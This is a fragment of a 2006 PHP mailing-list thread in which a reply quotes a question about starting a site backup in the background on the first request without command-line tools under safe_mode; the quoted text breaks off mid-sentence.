Re: [PHP] Send process to background

2006-10-13 Thread Paul Scott
On Fri, 2006-10-13 at 16:05 +, André Medeiros wrote: > The thing is, the first request to the site needs to start the backup, > but I didn't want to use any command-line tools, since some of our > servers rely on safe_mode. Is there any way to send output to the > browser on this first instan

<    1   2   3   >